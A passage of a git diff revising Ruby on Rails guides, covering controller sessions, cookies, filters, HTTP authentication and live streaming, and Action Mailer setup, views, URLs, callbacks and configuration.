contents. (Rails will not accept it if it has been edited). -The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. -If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. Read more about session storage in the [Security Guide](security.html). @@ -400,7 +410,7 @@ class ApplicationController < ActionController::Base # logging out removes it. def current_user @_current_user ||= session[:current_user_id] && - User.find_by_id(session[:current_user_id]) + User.find_by(id: session[:current_user_id]) end end ``` @@ -528,7 +538,7 @@ end Cookies ------- -Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash: +Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash: ```ruby class CommentsController < ApplicationController @@ -558,10 +568,10 @@ end Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`. -Rendering xml and json data +Rendering XML and JSON data --------------------------- -ActionController makes it extremely easy to render `xml` or `json` data. If you generate a controller using scaffolding then it would look something like this: +ActionController makes it extremely easy to render `XML` or `JSON` data. If you've generated a controller using scaffolding, it would look something like this: ```ruby class UsersController < ApplicationController @@ -576,7 +586,7 @@ class UsersController < ApplicationController end ``` -Notice that in the above case code is `render xml: @users` and not `render xml: @users.to_xml`. That is because if the input is not string then rails automatically invokes `to_xml` . +You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us. Filters ------- @@ -599,15 +609,6 @@ class ApplicationController < ActionController::Base redirect_to new_login_url # halts request cycle end end - - # The logged_in? method simply returns true if the user is logged - # in and false otherwise. It does this by "booleanizing" the - # current_user method we created previously using a double ! operator. - # Note that this is not common in Ruby and is discouraged unless you - # really mean to convert something into true or false. - def logged_in? - !!current_user - end end ``` @@ -664,7 +665,10 @@ The first is to use a block directly with the *_action methods. The block receiv ```ruby class ApplicationController < ActionController::Base before_action do |controller| - redirect_to new_login_url unless controller.send(:logged_in?) + unless controller.send(:logged_in?) + flash[:error] = "You must be logged in to access this section" + redirect_to new_login_url + end end end ``` @@ -681,7 +685,7 @@ end class LoginFilter def self.filter(controller) unless controller.send(:logged_in?) - controller.flash[:error] = "You must be logged in" + controller.flash[:error] = "You must be logged in to access this section" controller.redirect_to controller.new_login_url end end @@ -788,30 +792,30 @@ Rails comes with two built-in HTTP authentication mechanisms: HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`. ```ruby -class AdminController < ApplicationController +class AdminsController < ApplicationController http_basic_authenticate_with name: "humbaba", password: "5baa61e4" end ``` -With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. +With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. ### HTTP Digest Authentication HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`. ```ruby -class AdminController < ApplicationController +class AdminsController < ApplicationController USERS = { "lifo" => "world" } before_action :authenticate private - def authenticate - authenticate_or_request_with_http_digest do |username| - USERS[username] + def authenticate + authenticate_or_request_with_http_digest do |username| + USERS[username] + end end - end end ``` @@ -838,13 +842,13 @@ class ClientsController < ApplicationController private - def generate_pdf(client) - Prawn::Document.new do - text client.name, align: :center - text "Address: #{client.address}" - text "Email: #{client.email}" - end.render - end + def generate_pdf(client) + Prawn::Document.new do + text client.name, align: :center + text "Address: #{client.address}" + text "Email: #{client.email}" + end.render + end end ``` @@ -906,6 +910,92 @@ Now the user can request to get a PDF version of a client just by adding ".pdf" GET /clients/1.pdf ``` +### Live Streaming of Arbitrary Data + +Rails allows you to stream more than just files. In fact, you can stream anything +you would like in a response object. The `ActionController::Live` module allows +you to create a persistent connection with a browser. Using this module, you will +be able to send arbitrary data to the browser at specific points in time. + +#### Incorporating Live Streaming + +Including `ActionController::Live` inside of your controller class will provide +all actions inside of the controller the ability to stream data. You can mix in +the module like so: + +```ruby +class MyController < ActionController::Base + include ActionController::Live + + def stream + response.headers['Content-Type'] = 'text/event-stream' + 100.times { + response.stream.write "hello world\n" + sleep 1 + } + ensure + response.stream.close + end +end +``` + +The above code will keep a persistent connection with the browser and send 100 +messages of `"hello world\n"`, each one second apart. + +There are a couple of things to notice in the above example. We need to make +sure to close the response stream. Forgetting to close the stream will leave +the socket open forever. We also have to set the content type to `text/event-stream` +before we write to the response stream. This is because headers cannot be written +after the response has been committed (when `response.committed` returns a truthy +value), which occurs when you `write` or `commit` the response stream. + +#### Example Usage + +Let's suppose that you were making a Karaoke machine and a user wants to get the +lyrics for a particular song. Each `Song` has a particular number of lines and +each line takes time `num_beats` to finish singing. + +If we wanted to return the lyrics in Karaoke fashion (only sending the line when +the singer has finished the previous line), then we could use `ActionController::Live` +as follows: + +```ruby +class LyricsController < ActionController::Base + include ActionController::Live + + def show + response.headers['Content-Type'] = 'text/event-stream' + song = Song.find(params[:id]) + + song.each do |line| + response.stream.write line.lyrics + sleep line.num_beats + end + ensure + response.stream.close + end +end +``` + +The above code sends the next line only after the singer has completed the previous +line. + +#### Streaming Considerations + +Streaming arbitrary data is an extremely powerful tool. As shown in the previous +examples, you can choose when and what to send across a response stream. However, +you should also note the following things: + +* Each response stream creates a new thread and copies over the thread local + variables from the original thread. Having too many thread local variables can + negatively impact performance. Similarly, a large number of threads can also + hinder performance. +* Failing to close the response stream will leave the corresponding socket open + forever. Make sure to call `close` whenever you are using a response stream. +* WEBrick servers buffer all responses, and so including `ActionController::Live` + will not work. You must use a web server which does not automatically buffer + responses. + Log Filtering ------------- @@ -961,9 +1051,9 @@ class ApplicationController < ActionController::Base private - def record_not_found - render text: "404 Not Found", status: 404 - end + def record_not_found + render text: "404 Not Found", status: 404 + end end ``` @@ -975,10 +1065,10 @@ class ApplicationController < ActionController::Base private - def user_not_authorized - flash[:error] = "You don't have access to this section." - redirect_to :back - end + def user_not_authorized + flash[:error] = "You don't have access to this section." + redirect_to :back + end end class ClientsController < ApplicationController @@ -992,10 +1082,10 @@ class ClientsController < ApplicationController private - # If the user is not authorized, just throw the exception. - def check_authorization - raise User::NotAuthorized unless current_user.admin? - end + # If the user is not authorized, just throw the exception. + def check_authorization + raise User::NotAuthorized unless current_user.admin? + end end ``` diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md index a0d962f9c4..61fd762304 100644 --- a/guides/source/action_mailer_basics.md +++ b/guides/source/action_mailer_basics.md @@ -1,7 +1,9 @@ Action Mailer Basics ==================== -This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers. +This guide provides you with all you need to get started in sending and +receiving emails from and to your application, and many internals of Action +Mailer. It also covers how to test your mailers. After reading this guide, you will know: @@ -9,17 +11,19 @@ After reading this guide, you will know: * How to generate and edit an Action Mailer class and mailer view. * How to configure Action Mailer for your environment. * How to test your Action Mailer classes. + -------------------------------------------------------------------------------- Introduction ------------ -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from `ActionMailer::Base` and live in `app/mailers`. Those mailers have associated views that appear alongside controller views in `app/views`. +Action Mailer allows you to send emails from your application using mailer classes and views. Mailers work very similarly to controllers. They inherit from `ActionMailer::Base` and live in `app/mailers`, and they have associated views that appear in `app/views`. Sending Emails -------------- -This section will provide a step-by-step guide to creating a mailer and its views. +This section will provide a step-by-step guide to creating a mailer and its +views. ### Walkthrough to Generating a Mailer @@ -34,10 +38,25 @@ invoke test_unit create test/mailers/user_mailer_test.rb ``` -So we got the mailer, the views, and the tests. +As you can see, you can generate mailers just like you use other generators with +Rails. Mailers are conceptually similar to controllers, and so we get a mailer, +a directory for views, and a test. + +If you didn't want to use a generator, you could create your own file inside of +app/mailers, just make sure that it inherits from `ActionMailer::Base`: + +```ruby +class MyMailer < ActionMailer::Base +end +``` #### Edit the Mailer +Mailers are very similar to Rails controllers. They also have methods called +"actions" and use views to structure the content. Where a controller generates +content like HTML to send back to the client, a Mailer creates a message to be +delivered via email. + `app/mailers/user_mailer.rb` contains an empty mailer: ```ruby @@ -46,7 +65,8 @@ class UserMailer < ActionMailer::Base end ``` -Let's add a method called `welcome_email`, that will send an email to the user's registered email address: +Let's add a method called `welcome_email`, that will send an email to the user's +registered email address: ```ruby class UserMailer < ActionMailer::Base @@ -55,21 +75,25 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = 'http://example.com/login' - mail(to: user.email, subject: 'Welcome to My Awesome Site') + mail(to: @user.email, subject: 'Welcome to My Awesome Site') end end ``` -Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section. +Here is a quick explanation of the items presented in the preceding method. For +a full list of all available options, please have a look further down at the +Complete List of Action Mailer user-settable attributes section. -* `default Hash` - This is a hash of default values for any email you send, in this case we are setting the `:from` header to a value for all messages in this class, this can be overridden on a per email basis +* `default Hash` - This is a hash of default values for any email you send from this mailer. In this case we are setting the `:from` header to a value for all messages in this class. This can be overridden on a per-email basis. * `mail` - The actual email message, we are passing the `:to` and `:subject` headers in. -Just like controllers, any instance variables we define in the method become available for use in the views. +Just like controllers, any instance variables we define in the method become +available for use in the views. #### Create a Mailer View -Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This will be the template used for the email, formatted in HTML: +Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This +will be the template used for the email, formatted in HTML: ```html+erb <!DOCTYPE html> @@ -81,7 +105,7 @@ Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This <h1>Welcome to example.com, <%= @user.name %></h1> <p> You have successfully signed up to example.com, - your username is: <%= @user.login %>.<br/> + your username is: <%= @user.login %>.<br> </p> <p> To login to the site, just follow this link: <%= @url %>. @@ -91,7 +115,9 @@ Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This </html> ``` -It is also a good idea to make a text part for this email. To do this, create a file called `welcome_email.text.erb` in `app/views/user_mailer/`: +Let's also make a text part for this email. Not all clients prefer HTML emails, +and so sending both is best practice. To do this, create a file called +`welcome_email.text.erb` in `app/views/user_mailer/`: ```erb Welcome to example.com, <%= @user.name %> @@ -105,22 +131,29 @@ To login to the site, just follow this link: <%= @url %>. Thanks for joining and have a great day! ``` -When you call the `mail` method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a `multipart/alternative` email. +When you call the `mail` method now, Action Mailer will detect the two templates +(text and HTML) and automatically generate a `multipart/alternative` email. -#### Wire It Up So That the System Sends the Email When a User Signs Up +#### Calling the Mailer -There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created. +Mailers are really just another way to render a view. Instead of rendering a +view and sending out the HTTP protocol, they are just sending it out through the +Email protocols instead. Due to this, it makes sense to just have your +controller tell the Mailer to send an email when a user is successfully created. Setting this up is painfully simple. -First off, we need to create a simple `User` scaffold: +First, let's create a simple `User` scaffold: ```bash $ rails generate scaffold user name email login $ rake db:migrate ``` -Now that we have a user model to play with, we will just edit the `app/controllers/users_controller.rb` make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to `UserMailer.welcome_email` right after the user is successfully saved: +Now that we have a user model to play with, we will just edit the +`app/controllers/users_controller.rb` make it instruct the UserMailer to deliver +an email to the newly created user by editing the create action and inserting a +call to `UserMailer.welcome_email` right after the user is successfully saved: ```ruby class UsersController < ApplicationController @@ -145,63 +178,55 @@ class UsersController < ApplicationController end ``` -This provides a much simpler implementation that does not require the registering of observers and the like. - -The method `welcome_email` returns a `Mail::Message` object which can then just be told `deliver` to send itself out. +The method `welcome_email` returns a `Mail::Message` object which can then just +be told `deliver` to send itself out. ### Auto encoding header values -Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies. +Action Mailer handles the auto encoding of multibyte characters inside of +headers and bodies. -If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. - -For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library. +For more complex examples such as defining alternate character sets or +self-encoding text first, please refer to the +[Mail](https://github.com/mikel/mail) library. ### Complete List of Action Mailer Methods -There are just three methods that you need to send pretty much any email message: - -* `headers` - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call `headers[:field_name] = 'value'`. -* `attachments` - Allows you to add attachments to your email. For example, `attachments['file-name.jpg'] = File.read('file-name.jpg')`. -* `mail` - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined. - -#### Custom Headers - -Defining custom headers are simple, you can do it one of three ways: - -* Defining a header field as a parameter to the `mail` method: - - ```ruby - mail('X-Spam' => value) - ``` - -* Passing in a key value assignment to the `headers` method: - - ```ruby - headers['X-Spam'] = value - ``` - -* Passing a hash of key value pairs to the `headers` method: - - ```ruby - headers {'X-Spam' => value, 'X-Special' => another_value} - ``` +There are just three methods that you need to send pretty much any email +message: -TIP: All `X-Value` headers per the RFC2822 can appear more than once. If you want to delete an `X-Value` header, you need to assign it a value of `nil`. +* `headers` - Specifies any header on the email you want. You can pass a hash of + header field names and value pairs, or you can call `headers[:field_name] = + 'value'`. +* `attachments` - Allows you to add attachments to your email. For example, + `attachments['file-name.jpg'] = File.read('file-name.jpg')`. +* `mail` - Sends the actual email itself. You can pass in headers as a hash to + the mail method as a parameter, mail will then create an email, either plain + text, or multipart, depending on what email templates you have defined. #### Adding Attachments -Adding attachments has been simplified in Action Mailer 3.0. +Action Mailer makes it very easy to add attachments. -* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment. +* Pass the file name and content and Action Mailer and the + [Mail gem](https://github.com/mikel/mail) will automatically guess the + mime_type, set the encoding and create the attachment. ```ruby attachments['filename.jpg'] = File.read('/path/to/filename.jpg') ``` -NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a `Hash` to the `attachments` method. + When the `mail` method will be triggered, it will send a multipart email with + an attachment, properly nested with the top level being `multipart/mixed` and + the first part being a `multipart/alternative` containing the plain text and + HTML email messages. -* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in. +NOTE: Mail will automatically Base64 encode an attachment. If you want something +different, encode your content and pass in the encoded content and encoding in a +`Hash` to the `attachments` method. + +* Pass the file name and specify headers and content and Action Mailer and Mail + will use the settings you pass in. ```ruby encoded_content = SpecialEncode(File.read('/path/to/filename.jpg')) @@ -210,13 +235,14 @@ NOTE: Mail will automatically Base64 encode an attachment. If you want something content: encoded_content } ``` -NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it. +NOTE: If you specify an encoding, Mail will assume that your content is already +encoded and not try to Base64 encode it. #### Making Inline Attachments Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. -* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer: +* First, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer: ```ruby def welcome @@ -224,7 +250,9 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p end ``` -* Then in your view, you can just reference `attachments[]` as a hash and specify which attachment you want to show, calling `url` on it and then passing the result into the `image_tag` method: +* Then in your view, you can just reference `attachments` as a hash and specify + which attachment you want to show, calling `url` on it and then passing the + result into the `image_tag` method: ```html+erb <p>Hello there, this is our image</p> @@ -232,7 +260,8 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p <%= image_tag attachments['image.jpg'].url %> ``` -* As this is a standard call to `image_tag` you can pass in an options hash after the attachment URL as you could for any other image: +* As this is a standard call to `image_tag` you can pass in an options hash + after the attachment URL as you could for any other image: ```html+erb <p>Hello there, this is our image</p> @@ -243,7 +272,10 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p #### Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the `:to` key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. +It is possible to send email to one or more recipients in one email (e.g., +informing all admins of a new signup) by setting the list of emails to the `:to` +key. The list of emails can be an array of email addresses or a single string +with the addresses separated by commas. ```ruby class AdminMailer < ActionMailer::Base @@ -257,12 +289,14 @@ class AdminMailer < ActionMailer::Base end ``` -The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively. +The same format can be used to set carbon copy (Cc:) and blind carbon copy +(Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively. #### Sending Email With Name -Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is -to format the email address in the format `"Name <email>"`. +Sometimes you wish to show the name of the person instead of just their email +address when they receive the email. The trick to doing that is to format the +email address in the format `"Full Name <email>"`. ```ruby def welcome_email(user) @@ -274,7 +308,11 @@ end ### Mailer Views -Mailer views are located in the `app/views/name_of_mailer_class` directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the `welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` for the HTML version and `welcome_email.text.erb` for the plain text version. +Mailer views are located in the `app/views/name_of_mailer_class` directory. The +specific mailer view is known to the class because its name is the same as the +mailer method. In our example from above, our mailer view for the +`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` +for the HTML version and `welcome_email.text.erb` for the plain text version. To change the default mailer view for your action you do something like: @@ -285,7 +323,7 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = 'http://example.com/login' - mail(to: user.email, + mail(to: @user.email, subject: 'Welcome to My Awesome Site', template_path: 'notifications', template_name: 'another') @@ -293,9 +331,12 @@ class UserMailer < ActionMailer::Base end ``` -In this case it will look for templates at `app/views/notifications` with name `another`. You can also specify an array of paths for `template_path`, and they will be searched in order. +In this case it will look for templates at `app/views/notifications` with name +`another`. You can also specify an array of paths for `template_path`, and they +will be searched in order. -If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file: +If you want more flexibility you can also pass a block and render specific +templates or even render inline or text without using a template file: ```ruby class UserMailer < ActionMailer::Base @@ -304,23 +345,28 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = 'http://example.com/login' - mail(to: user.email, + mail(to: @user.email, subject: 'Welcome to My Awesome Site') do |format| format.html { render 'another_template' } format.text { render text: 'Render text' } end end - end ``` -This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as `:text`, `:inline` etc. +This will render the template 'another_template.html.erb' for the HTML part and +use the rendered text for the text part. The render command is the same one used +inside of Action Controller, so you can use all the same options, such as +`:text`, `:inline` etc. ### Action Mailer Layouts -Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as `user_mailer.html.erb` and `user_mailer.text.erb` to be automatically recognized by your mailer as a layout. +Just like controller views, you can also have mailer layouts. The layout name +needs to be the same as your mailer, such as `user_mailer.html.erb` and +`user_mailer.text.erb` to be automatically recognized by your mailer as a +layout. -In order to use a different file just use: +In order to use a different file, call `layout` in your mailer: ```ruby class UserMailer < ActionMailer::Base @@ -328,9 +374,11 @@ class UserMailer < ActionMailer::Base end ``` -Just like with controller views, use `yield` to render the view inside the layout. +Just like with controller views, use `yield` to render the view inside the +layout. -You can also pass in a `layout: 'layout_name'` option to the render call inside the format block to specify different layouts for different actions: +You can also pass in a `layout: 'layout_name'` option to the render call inside +the format block to specify different layouts for different formats: ```ruby class UserMailer < ActionMailer::Base @@ -343,84 +391,106 @@ class UserMailer < ActionMailer::Base end ``` -Will render the HTML part using the `my_layout.html.erb` file and the text part with the usual `user_mailer.text.erb` file if it exists. +Will render the HTML part using the `my_layout.html.erb` file and the text part +with the usual `user_mailer.text.erb` file if it exists. ### Generating URLs in Action Mailer Views -URLs can be generated in mailer views using `url_for` or named routes. +Unlike controllers, the mailer instance doesn't have any context about the +incoming request so you'll need to provide the `:host` parameter yourself. -Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the `:host`, `:controller`, and `:action`: +As the `:host` usually is consistent across the application you can configure it +globally in `config/application.rb`: -```erb -<%= url_for(host: 'example.com', - controller: 'welcome', - action: 'greeting') %> +```ruby +config.action_mailer.default_url_options = { host: 'example.com' } ``` -When using named routes you only need to supply the `:host`: +#### generating URLs with `url_for` + +You need to pass the `only_path: false` option when using `url_for`. This will +ensure that absolute URLs are generated because the `url_for` view helper will, +by default, generate relative URLs when a `:host` option isn't explicitly +provided. ```erb -<%= user_url(@user, host: 'example.com') %> +<%= url_for(controller: 'welcome', + action: 'greeting', + only_path: false) %> ``` -Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense. +If you did not configure the `:host` option globally make sure to pass it to +`url_for`. -It is also possible to set a default host that will be used in all mailers by setting the `:host` option as a configuration option in `config/application.rb`: -```ruby -config.action_mailer.default_url_options = { host: 'example.com' } +```erb +<%= url_for(host: 'example.com', + controller: 'welcome', + action: 'greeting') %> ``` -If you use this setting, you should pass the `only_path: false` option when using `url_for`. This will ensure that absolute URLs are generated because the `url_for` view helper will, by default, generate relative URLs when a `:host` option isn't explicitly provided. +NOTE: When you explicitly pass the `:host` Rails will always generate absolute +URLs, so there is no need to pass `only_path: false`. -### Sending Multipart Emails +#### generating URLs with named routes -Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have `welcome_email.text.erb` and `welcome_email.html.erb` in `app/views/user_mailer`, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. +Email clients have no web context and so paths have no base URL to form complete +web addresses. Thus, you should always use the "_url" variant of named route +helpers. -The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method. +If you did not configure the `:host` option globally make sure to pass it to the +url helper. -### Sending Emails with Attachments +```erb +<%= user_url(@user, host: 'example.com') %> +``` -Attachments can be added by using the `attachments` method: +### Sending Multipart Emails -```ruby -class UserMailer < ActionMailer::Base - def welcome_email(user) - @user = user - @url = user_url(@user) - attachments['terms.pdf'] = File.read('/path/terms.pdf') - mail(to: user.email, - subject: 'Please see the Terms and Conditions attached') - end -end -``` +Action Mailer will automatically send multipart emails if you have different +templates for the same action. So, for our UserMailer example, if you have +`welcome_email.text.erb` and `welcome_email.html.erb` in +`app/views/user_mailer`, Action Mailer will automatically send a multipart email +with the HTML and text versions setup as different parts. -The above will send a multipart email with an attachment, properly nested with the top level being `multipart/mixed` and the first part being a `multipart/alternative` containing the plain text and HTML email messages. +The order of the parts getting inserted is determined by the `:parts_order` +inside of the `ActionMailer::Base.default` method. ### Sending Emails with Dynamic Delivery Options -If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using `delivery_method_options` in the mailer action. +If you wish to override the default delivery options (e.g. SMTP credentials) +while delivering emails, you can do this using `delivery_method_options` in the +mailer action. ```ruby class UserMailer < ActionMailer::Base def welcome_email(user, company) @user = user @url = user_url(@user) - delivery_options = { user_name: company.smtp_user, password: company.smtp_password, address: company.smtp_host } - mail(to: user.email, subject: "Please see the Terms and Conditions attached", delivery_method_options: delivery_options) + delivery_options = { user_name: company.smtp_user, + password: company.smtp_password, + address: company.smtp_host } + mail(to: @user.email, + subject: "Please see the Terms and Conditions attached", + delivery_method_options: delivery_options) end end ``` ### Sending Emails without Template Rendering -There may be cases in which you want to skip the template rendering step and supply the email body as a string. You can achieve this using the `:body` option. -In such cases don't forget to add the `:content_type` option. Rails will default to `text/plain` otherwise. +There may be cases in which you want to skip the template rendering step and +supply the email body as a string. You can achieve this using the `:body` +option. In such cases don't forget to add the `:content_type` option. Rails +will default to `text/plain` otherwise. ```ruby class UserMailer < ActionMailer::Base def welcome_email(user, email_body) - mail(to: user.email, body: email_body, content_type: "text/html", subject: "Already rendered!") + mail(to: user.email, + body: email_body, + content_type: "text/html", + subject: "Already rendered!") end end ``` @@ -428,18 +498,26 @@ end Receiving Emails ---------------- -Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: +Receiving and parsing emails with Action Mailer can be a rather complex +endeavor. Before your email reaches your Rails app, you would have had to +configure your system to somehow forward emails to your app, which needs to be +listening for that. So, to receive emails in your Rails app you'll need to: * Implement a `receive` method in your mailer. -* Configure your email server to forward emails from the address(es) you would like your app to receive to `/path/to/app/bin/rails runner 'UserMailer.receive(STDIN.read)'`. +* Configure your email server to forward emails from the address(es) you would + like your app to receive to `/path/to/app/bin/rails runner + 'UserMailer.receive(STDIN.read)'`. -Once a method called `receive` is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer `receive` instance method. Here's an example: +Once a method called `receive` is defined in any mailer, Action Mailer will +parse the raw incoming email into an email object, decode it, instantiate a new +mailer, and pass the email object to the mailer `receive` instance +method. Here's an example: ```ruby class UserMailer < ActionMailer::Base def receive(email) - page = Page.find_by_address(email.to.first) + page = Page.find_by(address: email.to.first) page.emails.create( subject: email.subject, body: email.body @@ -460,17 +538,23 @@ end Action Mailer Callbacks --------------------------- -Action Mailer allows for you to specify a `before_action`, `after_action` and `around_action`. +Action Mailer allows for you to specify a `before_action`, `after_action` and +`around_action`. -* Filters can be specified with a block or a symbol to a method in the mailer class similar to controllers. +* Filters can be specified with a block or a symbol to a method in the mailer + class similar to controllers. -* You could use a `before_action` to prepopulate the mail object with defaults, delivery_method_options or insert default headers and attachments. +* You could use a `before_action` to populate the mail object with defaults, + delivery_method_options or insert default headers and attachments. -* You could use an `after_action` to do similar setup as a `before_action` but using instance variables set in your mailer action. +* You could use an `after_action` to do similar setup as a `before_action` but + using instance variables set in your mailer action. ```ruby class UserMailer < ActionMailer::Base - after_action :set_delivery_options, :prevent_delivery_to_guests, :set_business_headers + after_action :set_delivery_options, + :prevent_delivery_to_guests, + :set_business_headers def feedback_message(business, user) @business = business @@ -485,24 +569,25 @@ class UserMailer < ActionMailer::Base private - def set_delivery_options - # You have access to the mail instance and @business and @user instance variables here - if @business && @business.has_smtp_settings? - mail.delivery_method.settings.merge!(@business.smtp_settings) + def set_delivery_options + # You have access to the mail instance, + # @business and @user instance variables here + if @business && @business.has_smtp_settings? + mail.delivery_method.settings.merge!(@business.smtp_settings) + end end - end - def prevent_delivery_to_guests - if @user && @user.guest? - mail.perform_deliveries = false + def prevent_delivery_to_guests + if @user && @user.guest? + mail.perform_deliveries = false + end end - end - def set_business_headers - if @business - headers["X-SMTPAPI-CATEGORY"] = @business.code + def set_business_headers + if @business + headers["X-SMTPAPI-CATEGORY"] = @business.code + end end - end end ``` @@ -511,17 +596,19 @@ end Using Action Mailer Helpers --------------------------- -Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller. +Action Mailer now just inherits from `AbstractController`, so you have access to +the same generic helpers as you do in Action Controller. Action Mailer Configuration --------------------------- -The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) +The following configuration options are best made in one of the environment +files (environment.rb, production.rb, etc...) | Configuration | Description | |---------------|-------------| |`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.| -|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>| +|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this 